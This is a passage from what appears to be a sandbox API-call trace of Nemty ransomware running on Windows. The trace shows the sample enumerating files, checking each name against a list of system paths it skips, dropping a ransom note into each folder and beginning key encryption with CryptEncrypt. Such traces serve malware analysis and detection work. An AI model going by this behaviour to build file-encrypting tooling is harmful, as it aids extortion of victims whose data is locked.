(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0175.504] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0175.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0175.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0175.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0175.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.505] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1be85e90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1be85e90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1be85e90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0175.505] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0175.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0175.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0175.505] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2=".") returned 1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="..") returned 1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="...") returned 1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="windows") returned -1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="$RECYCLE.BIN") returned 1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="rsa") returned -1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="NTDETECT.COM") returned -1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="ntldr") returned -1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="MSDOS.SYS") returned -1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="IO.SYS") returned -1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="boot.ini") returned 1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="boot.ini") returned 1 [0175.505] lstrcmpiW (lpString1="es_ES", lpString2="AUTOEXEC.BAT") returned 1 [0175.506] lstrcmpiW (lpString1="es_ES", lpString2="ntuser.dat") returned -1 [0175.506] lstrcmpiW (lpString1="es_ES", lpString2="desktop.ini") returned 1 [0175.506] lstrcmpiW (lpString1="es_ES", lpString2="CONFIG.SYS") returned 1 [0175.506] lstrcmpiW (lpString1="es_ES", lpString2="RECYCLER") returned -1 [0175.506] lstrcmpiW (lpString1="es_ES", lpString2="BOOTSECT.BAK") returned 1 [0175.506] lstrcmpiW (lpString1="es_ES", lpString2="bootmgr") returned 1 [0175.506] lstrcmpiW (lpString1="es_ES", lpString2="programdata") returned -1 [0175.506] lstrcmpiW (lpString1="es_ES", lpString2="appdata") returned 1 [0175.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es_ES", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es_ES", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="es_ES", lpUsedDefaultChar=0x0) returned 5 [0175.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es_ES", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es_ES", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="es_ES", lpUsedDefaultChar=0x0) returned 5 [0175.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0175.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0175.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0175.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0175.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0175.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0175.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0175.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0175.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0175.508] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.508] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0175.509] CloseHandle (hObject=0x254) returned 1 [0175.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0175.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0175.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0175.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0175.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0175.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0175.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0175.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.510] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.511] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0175.511] CloseHandle (hObject=0x254) returned 1 [0175.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.512] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1c407170, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c407170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0175.512] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0175.512] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1c407170, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c407170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0175.512] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0175.512] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0175.512] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2=".") returned 1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="..") returned 1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="...") returned 1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="windows") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="rsa") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="NTDETECT.COM") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="ntldr") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="MSDOS.SYS") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="IO.SYS") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="boot.ini") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="boot.ini") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="AUTOEXEC.BAT") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="ntuser.dat") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="desktop.ini") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="CONFIG.SYS") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="RECYCLER") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="BOOTSECT.BAK") returned -1 [0175.512] lstrcmpiW (lpString1="accessibility.ESP", lpString2="bootmgr") returned -1 [0175.513] lstrcmpiW (lpString1="accessibility.ESP", lpString2="programdata") returned -1 [0175.513] lstrcmpiW (lpString1="accessibility.ESP", lpString2="appdata") returned -1 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ESP", lpUsedDefaultChar=0x0) returned 17 [0175.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0175.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ESP", lpUsedDefaultChar=0x0) returned 17 [0175.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0175.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ESP", lpUsedDefaultChar=0x0) returned 17 [0175.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0175.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ESP", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ESP", lpUsedDefaultChar=0x0) returned 17 [0175.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.513] Sleep (dwMilliseconds=0x5) [0175.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c453430, dwHighDateTime=0x1d561e8)) [0175.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c453430, dwHighDateTime=0x1d561e8)) [0175.529] GetLastError () returned 0xb7 [0175.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.529] GetLastError () returned 0xb7 [0175.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0175.529] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.529] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.529] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.529] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 